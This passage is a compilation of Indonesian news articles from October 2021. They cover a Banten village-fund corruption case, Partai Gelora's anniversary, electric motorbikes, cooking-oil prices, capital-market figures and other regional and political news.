kepentingan pribadi tersangka," kata Shinto Silitonga. Shinto mengatakan modus operandi kejahatan tindak pidana korupsi dilakukan dengan cara melakukan pembangunan fisik tidak sesuai dengan spesifikasinya. Hal ini sesuai dengan keterangan ahli audit bangunan dari akademisi. Selanjutnya kata Shinto, ada dugaan penyalahgunaan anggaran negara lainnya. "Tersangka bahkan mengalihkan penggunaan anggaran yang seharusnya untuk program pemberdayaan desa, pembinaan desa dan modal Badan Usaha Milik Desa (BUM Des)," kata Shinto. Adapun barang bukti penangkapan, katavShinto Silitonga, berupa Surat Perintah Tugas melaksanakan fasilitas proposal pengajuan Dana Desa, Dokumen Realisasi Pelaksanaan APBD Pemerintah Desa Sodong TA. 2019, dan Laporan Realisasi Anggaran. Saat ini para tersangka dan barang bukti sudah masuk tahap P21 dan akan diserahkan ke kejaksaan negeri Pandeglang. “Akibat perbuatan tersangka, kadikenakan pasal 2 ayat (1) dan atau pasal 3 Jo pasal 18 UURI No. 31 tahun 1999, tentang Pemberantasan Tindak Pidana Korupsi Jo UURI No. 20 tahun 2001 tentang perubahan atas UURI No. 31 tahun 1999, tentang Pemberantasan Tindak Pidana Korupsi jo pasal 55 ayat (1) ke-1 KUHP. Dengan ancaman pidana maksimal selama 20 tahun,” kata Shinto Silitonga. Kabidhumas memberikan peringatan kepada kepala desa untuk mengelola uang di rekening desa dengan baik karena uang tersebut adalah uang negara, bukan uang milik kepala desa. “Warning bagi kepala desa, gunakan uang negara untuk meningkatkan kesejahteraan dan kualitas hidup masyarakat, itu bukan uang kepala desa tapi uang negara, menyalahgunakan uang negara pasti akan ditindak tegas oleh Polda Banten,” kata Shinto. (sws, ant)

Dua Tahun Partai Gelora, Kolaborasi Indonesia untuk 5 Besar Dunia

Jakarta, FNN - Bertepatan dengan Hari Sumpah Pemuda pada Kamis (28/10/2021) ini, Partai Gelombang Rakyat (Gelora) Indonesia merayakan HUT yang ke-2 dengan tema 'Kolaborasi Indonesia untuk 5 Besar Dunia' . Perayaan HUT yang ke -2 ini Partai Gelora mengadakan beragam kegiatan lomba yang bisa diikuti oleh semua anak bangsa dengan hadiah ratusan juta rupiah. Dalam usia yang cukup muda, Partai Gelora telah melakukan capaian yang luar biasa dengan tren pertumbuhan yang positif sebagai partai politik (parpol) baru yang lahir di tengah krisis berlarut akibat pandemi Covid-19. Capaian tersebut, patut disyukuri menjelang kontestasi Pemilu 2024 mendatang, dimana Partai Gelora siap menggelorakan Indonesia menuju 5 besar dunia. "Partai Gelora ini lahir dari kegelisahan terhadap negeri ini. Negara besar dengan sumber daya besar, namun tak punya visi yang disasar. Negeri yang dikenal berbudi pekerti, kaya budaya dan potensi, namun tak punya misi ," kata Ketua Umum Partai Gelora Indonesia Anis Matta dalam keterangannya, Rabu (27/10/2021). Atas dasar kegelisahan ini, maka lahirlah Gerakan Arah Baru Indonesia (Garbi) yang dideklarasikan pada 3 Maret 2019 lalu, yang merupakan embrio lahirnya Partai Gelora Indonesia. Garbi dideklarasikan di setiap kota, kabupaten dan provinsi di seluruh Indonesia. Akhirnya, pada Senin, 28 Oktober 2019, Anis Matta selaku inspirator Garbi mendirikan Partai Gelombang Rakyat Indonesia sebagai wadah menggelorakan bangsa dengan satu tekad membangun kembali kejayaan Indonesia, dan menjadikan Indonesia kekuatan 5 besar dunia. Selanjutnya, pada 9-11 November 2021 digelar Silaturahmi Nasional di Kemang, Jakarta yang menjadi momen bersejarah tersebut, ditandai dengan dilantiknya para ketua, sekretaris, dan bendahara yang menjadi pelengkap kepengurusan di 34 provinsi di seluruh Indonesia. Kemudian untuk memenuhi aspek legal, Partai Gelora pada 31 Maret 2020 didaftarkan sebagai partai politik di Kementerian Hukum dan HAM RI. Sebanyak 41.908 berkas pendaftaran Partai Gelora diterima langsung oleh Menteri Hukum dan HAM (Menkumham) Yasonna H Laoly untuk diverifikasi. Pada 18 Mei 2020 , Partai Gelora dinyatakan resmi menjadi partai politik di Indonesia dengan mengantongi Surat Keputusan/SK Menteri Hukum dan HAM bernomor M.HH-11.AH.11.01 Tahun 2020 oleh Menkum dan HAM pada 19 Mei 2020. SK tersebut diserahkan secara langsung Menkumham Yasonna Laoly secara virtual kepada Ketua Umum Partai Gelora Anis Matta, didampingi Wakil Ketua Umum Fahri Hamzah, Bendahara Umum Achmad Rilyadi dan Sekretaris Jenderal Mahfuz Sidik pada 2 Juni 2020. Sebagai parpol yang lahir di tengah krisis, Partai Gelora lantas menyatakan diri sebagai partai digital pada 19 Juli 2020, dengan menggelar festival digital 'Gelora Digifest' yang mengundang berbagai kalangan. Sehari kemudian pada 20 Juli 2020, Ketua Umum Partai Gelora Anis Matta didampingi beberapa pengurus DPN bertemu Presiden Joko Widodo di Istana Negara dan pada 23 Juli bertemu Ketua MPR Bambang Soesatyo di kompleks parlemen, Senayan Jakarta. "Saat ini Partai Gelora berusia 2 tahun, alhamudillah banyak sekali capaian yang berhasil diperoleh dalam waktu singkat ini," ungkap Anis Matta. Partai Gelora, lanjutnya, sudah menjalankan latihan khusus untuk para fungsionarisnya melalui pembinaan di Akademi Pemimpin Indonesia (API) angkatan 1-12, Akademi Manusia Indonesi (AMI), OKE Gelora serta pelatihan bakal calon anggota legislatif (bacelg) yang telah diadakan dua kali. Pada 5 Mei 2021, Ketua Umum Partai Gelora meresmikan Gelora Media Center (GMC) yang menjadikan gelombang semangat untuk menyiarkan berbagai kegiatan Partai Gelora dengan berbagai acara bermutu seperti Gelora Talks yang mengangkat berbagai isu aktual dengan permasalahan bangsa dengan menghadirikan beragam narasumber berkompeten. "Dan pada hari ini 28 Oktober 2021, kita sama-sama memperingati hari bersejarah langkah awal untuk mewujudkan mimpi besar Partai Gelora," katanya. Hingga kini Partai Gelora telah memiliki lebih dari 470.000 anggota, 100 persen kepengurusan di tingkat DPW (34 provinsi) dan DPD (514 kabupaten/kota), 6.070 DPC (kecamatan) dan 7.020 PAC (kelurahan/desa). "Bisa kita lihat pertumbuhan struktur hingga saat ini adalah capaian luar biasa yang patut dibanggakan dari para Patriot Gelora," katanya. Untuk itu, Anis Matta memberikan apresiasi yang tinggi kepada para pimpinan wilayah dan seluruh level fungsionaris daerah cabang dan anak cabang. "Atas semua perjuangan ini, mari kita syukuri bersama karena kemenangan ada di depan mata. Mari kita sambut gelorakan Indonesia menuju 5 besar dunia dan kemenangan politik Partai Gelora di 2024," tegas Anis Matta. (sws)

Mahasiswa Mamuju Minta Perhatikan Petani Nelayan

Mamuju, FNN - Mahasiswa di Kabupaten Mamuju Provinsi Sulawesi Barat meminta para pihak dapat memperhatikan petani dan nelayan dalam memenuhi kebutuhan hidup dan upaya meningkatkan kesejahteraan. "Nelayan Sulbar sangat membutuhkan sarana dan prasarana alat tangkap perikanan dan butuh dilakukan pemberdayaan nelayan agar bisa berproduksi tinggi," kata Ketua Mahasiswa peduli ekonomi kerakyatan (Maper) STIE Muhammadiyah Mamuju, Awaluddin di Mamuju, Rabu. Ia mengatakan, istri nelayan butuh diberikan bantuan modal usaha mengembangkan kesejahteraannya disektor perikanan. "Maper dalam peringatan Sumpah Pemuda 28 Oktober 2021 mendesak pemerintah membangun sektor perikanan karena itu adalah penopang ekonimi bangsa," katanya. Ia menyampaikan, Sumpah Pemuda adalah perjuangan pahlawan bangsa untuk membangun negara ini, sehingga pemerintah juga harus berjuang membangun negara ini dengan memajukan sektor perikanan untuk kepentingan peningkatan kesejahteraan masyarakat. "Jangan biarkan nelayan kesulitan BBM, kapal dan rompong untuk meningkatkan sumber pendapatan para nelayan yang ada di Sulbar, dan huruh pelabuhan sebagai tepat sandar kapal bagi para nelayan yang layak bagi seluruh nelayan di Sulbar," katanya. Hal sama dikatakan Ketua Mahasiswa untuk Kedaulatan Rakyat (Komkar) Universitas Tomakaka (Unika) Kabupaten Mamuju, Irfan. Ia mengatakan, momentum hari sumpah pemuda 28 oktober 2021 adalah sejarah pemuda dan sejarah mempersatukan bangsa ini. "Momentum sumpah pemuda, adalah untuk membebaskan rakyat Indonesia dari belenggu penjajahan, hendaknya pemerintah saat ini membangun rakyat Indonesia disektor pertanian dan perikanan," katanya. Ia mengatakan, bencana wabah COVID-19 membuat pendidikan terpuruk ditambah lagi masih banyaknya sekolah yang tidak layak bagi siswa sebagai sarana belajar. Ia berharap sarana dan prasarana pendidikan di Sulbar dibangun pemerintah untuk kemajuan pendidikan, jangan hanya menjadikan pendidikan sebagai lahan bisnis mengeruk keuntungan namun bangsa ini tidak cerdas. "Sarana dan pra sarana pendidikan di Sulbar masih banyak yang tidak layak sehingga masyarakat tidak mendapatkan hak pendidikan sebagaimana diamanatkan Undang Undang, pemerintah harus memajukan pendidikan Sulbar," katanya. (mth)

Galeri Nasional Buka untuk Umum Mulai Kamis

Jakarta, FNN - Galeri Nasional Indonesia (GNI) buka untuk kunjungan publik mulai Kamis (28/10) dengan sejumlah prosedur, seiring dengan penyesuaian Pemberlakuan Pembatasan Kegiatan Masyarakat level dua di DKI Jakarta. "Prosedur kunjungan dirancang dan disesuaikan dengan tetap memprioritaskan keamanan dan kenyamanan pengunjung," kata Kepala GNI Pustanto di Jakarta, Rabu. Ia menjelaskan, sejumlah prosedur akan diterapkan, salah satunya pembagian waktu kunjungan sebanyak enam sesi dalam satu hari. Pustanto menegaskan bahwa seluruh petugas Galeri Nasional Indoensia (GNI) juga telah menerima vaksin Covid-19 dan dilengkapi dengan perlengkapan sesuai protokol kesehatan ketika galeri dibuka. Per sesi kunjungan berdurasi 55 menit. Kunjungan mulai dibuka pukul 09.00 WIB sampai sesi terakhir pukul 14.30 WIB--15.25 WIB setiap hari, kecuali Jumat. Untuk sesi Jumat, terdapat waktu istirahat yang lebih panjang yakni dari pukul 12.00-13.00 WIB, serta sesi terakhir pukul 15.00-15.55 WIB. "Calon pengunjung diharapkan mengetahui prosedur kunjungan terlebih dulu, serta tetap menjalankan tata tertib selama berada di area Galeri Nasional Indonesia demi kebaikan bersama," kata Pustanto. Selain sesi kunjungan, pengunjung juga diharapkan melakukan pendaftaran secara daring paling lambat 24 jam sebelum jam kunjungan melalui laman https://galnas-id.com. Pengunjung diharapkan tiba di Galeri Nasional paling lambat 30 menit sebelum sesi kunjungan yang ditetapkan. Sebelum memasuki Galeri Nasional, pengunjung diwajibkan memindai kode batang (QR code) PeduliLindungi di pintu masuk utama atau menyiapkan sertifikat vaksin COVID-19. Saat ini, pameran di GNI yang dapat dikunjungi adalah Pameran Tetap Koleksi GNI dan Pameran "B. Resobowo". (mth)

Apa Saja Keunggulan Motor Listrik GESITS?

Bogor, FNN - GM Sales dan Marketing PT Wika Industri Manufaktur (WIMA) Abdullah Alwi membeberkan sejumlah keunggulan yang dimiliki sepeda motor listrik GESITS, salah satunya masa garansi baterai yang mencapai tiga tahun. "Kami memberikan satu baterai yang bagus dengan warranty tiga tahun, sehingga ketakutan customer dalam membeli motor listrik itu akan bisa dihapus," ujar Abdul di Bogor, Rabu. Menurut dia, baterai merupakan komponen paling penting pada kendaraan listrik. Oleh karena itu, pihaknya ingin memberikan kepastian kepada para konsumen GESITS tentang keamanan dan daya tahan baterai melalui garansi dengan jangka waktu yang relatif panjang. Abdul menyebut baterai yang digunakan sepeda motor GESITS telah dilengkapi teknologi battery management system (BMS), sehingga baterai relatif aman saat diisi daya kapan pun tanpa khawatir overcharge maupun korsleting listrik. Selain itu, baterai tersebut juga telah dilengkapi sertifikasi tahan air IP67 sehingga aman ketika melintasi jalan yang tergenang air maupun banjir. "Kita melengkapi desain baterai dengan IP67, artinya kalau kena banjir, air, dan lain sebagainya itu sudah aman," ucap Abdul. Baterai yang digunakan GESITS bertipe Li-NCM 72 Volt 20 Ah dengan daya mesin maksimal hingga 5.000 watt dan mampu menempuh jarak sejauh 50 KM. Dengan daya yang besar, kata Abdul, para pengguna bisa tetap leluasa mengendarai GESITS meski membawa barang bawaan ataupun membonceng penumpang. GESITS juga menawarkan kemudahan dalam pengisian daya. Abdul mengatakan ada dua cara yang bisa dilakukan untuk mengisi baterai. Pertama, dengan mengeluarkan baterai portabel dari motor, lalu menghubungkannya ke daya listrik menggunakan charger. Proses tersebut sama seperti mengisi baterai perangkat elektronik rumah tangga pada umumnya. Kedua, kata dia, dengan langsung menghubungkan charger ke soket yang ada di sepeda motor tanpa perlu mengeluarkan baterai. Cara ini biasanya dipakai ketika melakukan pengisian baterai di stasiun pengisian kendaraan listrik umum (SPKLU). Abdul mengatakan terdapat dua mode pengisian daya baterai GESITS, yakni mode pengisian cepat dan mode pengisian normal. "Fast charging 450 watt lama pengisian tiga jam, sedangkan normal charging 250 watt lama pengisian lima jam," kata dia. Keunggulan lainnya, kata Abdul, yakni biaya operasional motor listrik GESITS yang relatif murah. Konsumsi listrik untuk pengisian penuh baterai hanya memakan biaya sekitar Rp2.000. "Ini satu baterai 1,4 kWh. 1 kWh itu Rp1.444. jadi untuk jarak 50 KM mungkin listriknya sekitar Rp2.000. Kita 60 persen lebih irit daripada motor konvensional," ucap Abdul. GESITS juga telah menggunakan 85 persen komponen yang diproduksi di dalam negeri. Adapun Nilai Tingkat Komponen Dalam Negeri (TKDN) GESITS saat ini sebesar 46,73 persen. Lebih lanjut Abdul menambahkan bahwa pihaknya juga tengah mengembangkan aplikasi GESITS. Melalui aplikasi ini, para pengguna dapat memantau performa maupun status kondisi motor listrik. Dengan berbagai keunggulan yang ditawarkan, Abdul berharap masyarakat dapat semakin percaya dan yakin untuk beralih ke sepeda motor listrik. "Ini yang menjadi nilai tambah, bagaimana dunia akan lebih bersih, udara perkotaan akan lebih cerah, tidak ada polusi, suara hening. Lingkungan akan lebih indah pada waktunya nanti," ucap dia. (mth)

Mendes PDTT Dukung Desa Wisata Penyangga DSP Mandalika

Jakarta, FNN - Kementerian Desa, Pembangunan Daerah Tertinggal dan Transmigrasi (PDTT) menyatakan memfasilitasi pengembangan desa-desa penyangga Destinasi Super Prioritas (DSP) Mandalika guna menyambutn gelaran World Superbike (WSBK) 2021 dan FIM MotoGP World Championship (MotoGP) 2022. Menteri Desa Pembangunan Daerah Tertinggal dan Transmigrasi (PDTT) Abdul Halim Iskandar mengatakan, hal itu dilakukan dengan membangun sarana dan prasarana pengembangan objek wisata di 19 Desa di empat Kabupaten, yaitu Lombok Barat, Lombok Tengah, Lombok Timur dan Lombok Utara. Pengembangan Desa Wisata di Lombok Timur, Lombok Utara, Lombok Barat dan Lombok Tengah, lanjutnya melalui keterangan tertulis yang diterima di Jakarta, Rabu, menjadi bagian dari kebijakan prioritas nasional yang menetapkan lima Destinasi Super Prioritas, salah satunya adalah DSP Mandalika di Pulau Lombok, Provinsi NTB. "Harapan saya tentu selain desa-desa penyangga ini menjadi wahana dalam mempromosikan Desa Wisata. Tujuan utamanya adalah percepatan pencapaian pembangunan desa berkelanjutan," ujarnya saat meresmikan bantuan pengembangan objek wisata dan amenitas wisata di Sembalun Bumbung, Lombok, NTB. Menurut dia, tahun ini Kementerian PDTT telah memberikan bantuan pengembangan objek wisata dan amenitas wisata di 156 Desa 94 Kabupaten di 28 Provinsi di Indonesia. Ia mengajak seluruh pemangku kepentingan bersama-sama bekerja keras, agar desa wisata desa-desa wisata mampu menarik minat wisatawan internasional maupun domestik untuk berkunjung dan menyerap produk-produk unggulan desa. "Saya juga berharap BUMDesa, Desa Wisata, dapat memberikan kontribusi besar dalam penanganan kemiskinan ekstrem di desa. Sehingga kesejahteraan warga desa akan terwujud," kata Abdul Halim Iskandar. Dalam mengelola desa wisata membutuhkan kolaborasi dan kerja sama dengan seluruh stakeholders desa dengan memaksimalkan potensi yang dimiliki. "Hal itu agar pembangunan lebih terkonsolidasi dengan baik, kemandirian desa-desa lebih cepat dicapai, kebangkitan ekonomi warga lebih merata, dan kesejahteraan masyarakat yang berkeadilan," katanya. Pada Desember 2020, sasaran program di Kabupaten Teluk Wandama telah berhasil mengekspor rumput laut ke Hongkong sebanyak 20 ton senilai Rp390 juta. Kelompok sasaran program di Manokwari Selatan, berhasil melakukan ekspor Biji Kakao Kering ke Inggris sebanyak 6 ton atau senilai Rp270 juta. Hingga tahun ini terdapat 6.284 Rumah tangga terlibat dalam kegiatan komunitas produsen, ada 4.260 petani yang dilatih, 39 produk unggulan yang kami dukung, diantaranya adalah kopi dan rumput laut. "Sebanyak 144 Lead Firm telah bersedia membeli komoditas dari komunitas yang kami dampingi, diantaranya, sudah terbeli 27 ton kopi dan sebanyak 47.778 warga Papua yang bergantung dari hutan, telah menerima manfaat dari kerjasama ini," ujar Menteri PDTT. (mth)

LaNyalla: DPD berhak ajukan capres-cawapres non-Partai Politik

Pontianak, (FNN) - Dewan Perwakilan Daerah (DPD) telah menggagas perbaikan sistem tata negara dalam amendemen ke-5 Konstitusi. Lembaga tinggi negara tersebut, bisa mengajukan pasangan calon presiden dan calon wakil presiden dari unsur non-parpol. "Jika sudah seharusnya DPD menjadi saluran masyarakat yang menginginkan hadirnya calon presiden dari unsur non partai. Dorongan itulah yang membuat kami menggulirkan ikhtiar supaya mengembalikan atau memulihkan hak konstitusional DPD dalam mengajukan pasangan capres-cawapres," kata Ketua DPD RI, AA LaNyalla Mahmud Mattalitti, saat menjadi pembicara kunci di Institut Agama Islam Negeri Pontianak, Kalimantan Barat, Rabu, 27 Oktober 2021. Ia mengatakan, disebut memulihkan, karena jika melihat sejarah perjalanan lembaga legislatif, hilangnya hak DPD untuk mengajukan kandidat capres-cawapres adalah "kecelakaan hukum" yang harus dibenahi. Dulu, lanjut LaNyalla, sebelum amandemen UUD 1945, presiden dan wakil presiden dipilih MPR yang terdiri atas DPR dan Utusan Daerah serta Utusan Golongan. Artinya, baik DPR maupun unsur utusan daerah dan utusan golongan sama-sama memiliki hak mengajukan calon. DPD lahir melalui amendemen perubahan ketiga, menggantikan utusan daerah. Maka, hak-hak untuk menentukan tata kelembagaan di Indonesia seharusnya tidak dikebiri. Termasuk hak mengajukan calon presiden dan calon wakil presiden. "Anggota DPD dipilih melalui pemilihan umum secara langsung oleh rakyat. Hal itu menjadikan DPD sebagai lembaga legislatif Non-Partisan yang memiliki akar legitimasi kuat. Sehingga hak DPD mengajukan calon presiden dan wakil presiden adalah rasional," kata LaNyalla, dalam FGD yang mengambil tema Amandemen ke-5 UUD 1945: Penghapusan Ambang Batas Pencalonan Presiden dan Membuka Peluang Calon Presiden Perseorangan itu. LaNyalla juga mengungkap hasil survei Akar Rumput Strategic Consulting (ARSC) yang dirilis pada 22 Mei 2021 lalu. Hasilnya, 71,49 persen responden menyatakan calon presiden tidak harus kader partai. "Studi ini harus direspon dengan baik. DPD bisa menjadi saluran atas harapan 71,49 persen responden tersebut," kata dia. Selain itu, kalau partai politik yang representasinya adalah anggota DPR, dapat mengajukan pasangan capres dan cawapres, maka DPD RI sebagai representasi daerah idealnya mendapat kesempatan yang sama. Apalagi anggota DPD sebanyak 136 orang, yang duduk di Senayan juga dipilih melalui Pemilu, dengan dapil setingkat provinsi. "Harus diingat juga, negara ini bukan dilahirkan oleh partai politik, di mana negara ini lahir dari proses perjuangan komunitas civil society. Mulai dari kerajaan Nusantara hingga komunitas pergerakan, pesantren, ulama, cendekiawan serta organisasi masyarakat sipil lainnya. Sehingga sangat wajar, bila entitas masyarakat madani dari kalangan non partai politik memiliki saluran politik untuk menjadi pemimpin bangsa," katanya. Hal tersebut juga telah dijamin konstitusi. Seperti dalam pasal 27 ayat (1) UUD 1945 yang menyebutkan, "Setiap warga negara bersamaan kedudukannya di dalam hukum dan pemerintahan dan wajib menjunjung hukum dan pemerintahan itu dengan tidak ada kecualinya". Begitu juga dengan pasal 28D ayat (1) UUD 1945 yang menyebutkan, "Setiap orang berhak atas pengakuan, jaminan, perlindungan, dan kepastian hukum yang adil serta perlakuan yang sama di hadapan hukum". Lalu di pasal 28D ayat (3) jelas dikatakan, "Setiap warga negara berhak memperoleh kesempatan yang sama dalam pemerintahan". "Sehingga gagasan membuka peluang calon pemimpin dari kalangan non-partai politik adalah konstitusional. Wacana Amendemen ke-5 harus dijadikan momentum melakukan koreksi atas sistem tata negara. Sekaligus arah perjalanan bangsa ini, demi masa depan Indonesia yang lebih baik," kata LaNyalla. (MD).

Jakarta Raih Penghargaan Keterbukaan Informasi Publik

Jakarta, (FNN) - Pemerintah Provinsi (Pemprov) DKI Jakarta kembali meraih penghargaan Keterbukaan Informasi Publik. Penghargaan keempat kalinya sejak 2018 itu diperoleh sebagai Pemda Berkualifikasi Informatif dari Komisi Informasi Pusat (KIP) RI. "Kolaborasi yang baik antarbadan publik, yaitu Pemprov DKI Jakarta, Komisi Informasi dan Masyarakat sangat krusial untuk mewujudkan keterbukaan informasi publik. Juga menjadi bagian dari upaya memberikan jaminan informasi publik kepada seluruh warga Jakarta," ucap Gubernur DKI Jakarta, Anies Baswedan dalam keterangannya di Jakarta, Rabu, 27 Oktober 2021. Anies mengatakan, sepanjang 2021, Pemprov DKI Jakarta terus mengembangkan inovasi dan kolaborasi guna memenuhi kebutuhan masyarakat akan informasi yang cepat dan akurat sebagai upaya memutus mata rantai penyebaran COVID-19, baik secara langsung dengan prokes ketat atau media lainnya. Selain itu juga memaksimalkan inovasi teknologi informasi berbasis situs web yaitu corona.jakarta.go.id, aplikasi berbasis seluler, seperti aplikasi PPID dan super apps JAKI. Semua terus dikembangkan untuk menyajikan data terbaru terkait perkembangan COVID-19. Juga menyajikan informasi penting lainnya termasuk penyebarluasan informasi dalam usaha mempercepat vaksinasi COVID-19 hingga melalui aplikasi WhatsApp pada seluruh warga melalui grup Kecamatan, Kelurahan, RT/RW dan Dasawisma. Inovasi lainnya, menyediakan kanal aduan dan klarifikasi melalui kanal Jakarta Lawan Hoaks (JalaHoaks) pada website : jalahoaks.jakarta.go.id dan akun media sosial Instagram dengan ID: Jalahoaks. Pemprov DKI Jakarta juga tetap menyediakan data terbuka melalui portal Jakarta open data pada alamat data.jakarta.go.id. Juga data berbasis geospasial yang dapat diakses masyarakat secara langsung melalui website jakartasatu.jakarta.go.id. Tidak hanya meningkatkan inovasi, Pemprov DKI Jakarta juga melakukan kolaborasi dengan berbagai pihak guna menyebarluaskan informasi. Seperti pembentukan Satgas Covid-19 di tingkat RW, kolaborasi dengan influencer dalam penyebarluasan informasi program vaksinasi di media sosial dan berkolaborasi dengan Bahasa Isyarat Indonesia (BISINDO) untuk memberikan akses informasi menggunakan bahasa isyarat pada kegiatan konferensi pers dan kegiatan lainnya. Indeks Pers Meski demikian, indeks kemerdekaan Pers DKI Jakarta pada 2021, berada di peringkat ke-28 dari 34 provinsi di bawah Kepulauan Riau, Jawa Barat dan Kalimantan Timur yang berturut-turut di posisi satu, dua dan tiga. Dalam data yang dirilis oleh Dewan Pers tersebut, DKI Jakarta lebih baik dari Jawa Timur, Banten, Gorontalo, Papua Barat, Papua dan Maluku Utara. Peringkat Jakarta itu, lebih baik dibanding dengan 2020 dan 2018 yang masing-masing berada di posisi 32 dan 31. Namun, lebih rendah jika dibandingkan 2019 dengan peringkat 20. Indeks kebebasan pers tersebut. , diunggah juga oleh Gubernur Jawa Barat Ridwan Kamil dalam akun Instagramnya @ridwankamil. Ia menjelaskan, indeks tersebut mengukur tiga hal yakni ekosistem politik, ekosistem ekonomi dan ekosistem hukum. "Kebebasan pers adalah fundamental dalam kehidupan demokrasi yang berkualitas. Namun, kebebasan juga harus disertai rasa tanggung jawab. Mari berantas hoaks sebagai sisi gelap dalam dunia komunikasi dan informasi," tulis Ridwan Kamil dalam unggahannya. (MD).

Amerika Serikat Kecam Israel Atas Perluasan Permukiman Yahudi

Washington, (FNN) - Amerika Serikat (AS) menentang keras rencana Israel memperluas permukiman Yahudi di Tepi Barat yang didudukinya. Tindakan tersebut disebut merusak masa depan perdamaian antara Israel dan Palestina. Kecaman itu merupakan kritik paling keras yang pernah dilontarkan pemerintah Presiden Joe Biden terhadap kebijakan Israel menyangkut permukiman. "Kami sangat risau terhadap rencana pemerintah Israel menambah ribuan unit permukiman besok, Rabu, 27 Oktober 2021, yang banyak di antaranya berada di Tepi Barat," kata juru bicara Departemen Luar Negeri AS Ned Price saat acara jumpa pers, Selasa, 26 Oktober 2021, "Kami sangat menentang perluasan permukiman, yang betul-betul tidak sejalan dengan upaya menurunkan ketegangan dan menjaga ketenangan. Langkah (Israel) itu merusak prospek penyelesaian dua-negara," kata Price. Israel pada Ahad, 24 Oktober 2021 menerbitkan tender pembangunan 1.300 rumah baru di Tepi Barat yang diduduki Israel. Otoritas negara Yahudi itu juga diperkirakan akan membahas proposal mengenai pembangunan 3.000 rumah lainnya. "Washington terus menekankan pandangannya secara langsung mengenai masalah itu kepada para pejabat tinggi Israel," kata Price. Perundingan perdamaian Israel-Palestina yang didukung AS buyar pada 2014. Sebagian besar negara-negara di dunia menganggap pembangunan permukiman oleh Israel di Tepi Barat sebagai tindakan ilegal. Israel menentang anggapan tersebut. Pembangunan permukiman oleh Israel merupakan sumber pertentangan antara Israel dan Washington. Demikian juga terkait upaya AS membangkitkan kembali kesepakatan nuklir dengan musuh bebuyutan Israel, Iran. Awal Oktober 2021. seorang pejabat tinggi pemerintahan Biden mengatakan, Israel menyadari pandangan pemerintah AS soal pentingnya tidak melakukan tindakan "provokatif". Pejabat itu juga mengatakan Israel tahu, AS tidak menginginkan ada pihak yang merusak upaya mencapai penyelesaian dua-negara bagi Israel dan Palestina. (MD).

Harga Minyak Goreng Naik Akibat Pasok Bahan Baku Kurang

Jakarta, (FNN) - Direktur Eksekutif Gabungan Industri Minyak Nabati Indonesia (GIMNI) Sahat Sinaga mengatakan, kenaikan harga minyak goreng di pasaran merupakan imbas dari tingginya harga minyak sawit mentah (CPO). Selain itu juga karena kurangnya pasokan bahan baku di pasar minyak nabati dan lemak secara global. Sahat saat dihubungi di Jakarta, Rabu, 27 OKtober 2021 mengatakan, harga CPO global yang menjadi acuan yaitu CiF Rotterdam sedang tinggi. Hal itu menyebabkan harga CPO lokal ikut melonjak dan berpengaruh pada biaya produksi industri minyak goreng kelapa sawit. Menurut Sahat, kondisi pasar minyak nabati dan lemak (oils & fats) global sedang mengalami kekurangan pasokan akibat pandemi dan cuaca buruk. Kategori minyak nabati hard oils ialah minyak sawit, minyak kernel, dan minyak kelapa. Kategori soft oils adalah minyak kedelai, minyak rapeseed, minyak canola, minyak bunga matahari dan lainnya. Sedangkan kategori lemak terdiri dari minyak ikan dan hewan lainnya. Sahat mangatakana, produksi minyak canola di Kanada dan produksi minyak kedelai di Argentina mengalami penurunan sehingga menyebabkan melonjaknya harga komoditas minyak nabati. Produksi CPO di Malaysia juga turun akibat kekurangan tenaga kerja memanen buah sawit. "Hukum ekonomi supply vs demand berlangsung terjadi. Pasokan oils & fats dunia sangat berkurang. Inilah faktor utama terjadi short supply, maka harga minyak sawit di pasar global meningkat pesat sejak Januari 2021," ujarnya. Kondisi seperti ini pernah terjadi di tahun 2020, ketika produksi 17 jenis minyak nabati dan lemak turun 266.000 ton dibanding produksi tahun 2019 yang sebanyak 236.820 ton. Pada tahun 2021 produksi minyak nabati dan lemak juga hampir sama dengan hasil tahun 2020. Ia memprediksi kenaikan harga sawit masih akan terjadi, setidaknya hingga kuartal I 2022. Hal itu mengingat kedua faktor penghambat produksi minyak nabati yaitu pandemi COVID-19 dan cuaca buruk. "Kenaikan harga sawit itu juga didukung oleh minyak bumi (Brent Oil) yang sekarang harga global berada di level 85,53 dolar Amerika Serikat (AS) per barrel, dari harga 43,8 dolar AS per barrel tahun lalu," ujarnya. Berdasarkan data panel harga Badan Ketahanan Pangan Kementerian Pertanian, harga rata-rata minyak goreng secara nasional per 27 Oktober mencapai Rp 16.230 per liter, meningkat Rp 150 atau 0,93 persen dibandingkan hari sebelumnya. Harga minyak goreng paling tinggi di Provinsi Aceh Rp 17.380 per liter dan paling rendah di Bengkulu Rp 14.890 per liter. (MD).

OJK Catat Total Penghimpunan Dana di Pasar Modal Mencapai Rp273,9 Triliun,

Jakarta, FNN - Otoritas Jasa Keuangan (OJK) mencatat total penghimpunan dana di pasar modal sejak Januari hingga 26 Oktober 2021 mencapai Rp273,9 triliun, jauh melampaui nilai penghimpunan dana tahun 2020 yakni Rp118,7 triliun. "Bahkan realisasi ini ada di atas target 2021," kata Ketua Dewan Komisioner OJK Wimboh Santoso dalam konferensi pers Komite Stabilitas Sistem Keuangan (KSSK) triwulan III-2021 secara daring di Jakarta, Rabu. Ia menjelaskan pasar saham memang menunjukkan tren penguatan ke level di atas prapandemi. Per 25 Oktober 2021, IHSG menguat 10,81 persen sejak awal tahun (year-to-date/ytd) ke level 6.625,7, dengan aliran dana masuk nonresiden mencapai Rp39,4 triliun. Selain itu, Wimboh menuturkan penawaran umum dari 40 emiten baru tercatat sebesar Rp36,36 triliun. "Jumlah penghimpunan dana di pasar modal dapat terus bertambah mengingat terdapat 82 emiten yang akan melakukan penawaran umum senilai Rp43,32 triliun," ungkapnya. Dengan demikian, dirinya menilai sektor jasa keuangan terpantau stabil, yang tak terlepas dari berbagai kebijakan di mana OJK sangat akomodatif untuk mendukung sektor keuangan Indonesia untuk bertahan menghadapi pandemi yang saat ini sudah mereda dan harapannya tidak akan ada lagi peningkatan kasus COVID-19. Ke depan, OJK akan tetap akomodatif, terutama dengan intermediasi perbankan dan keadaan pasar modal yang sudah cukup bagus melebihi level sebelum pandemi. (sws, ant)

Tak Tumbang Disurvei: Kasus Pilgub DKI 2017 Mengajarkan

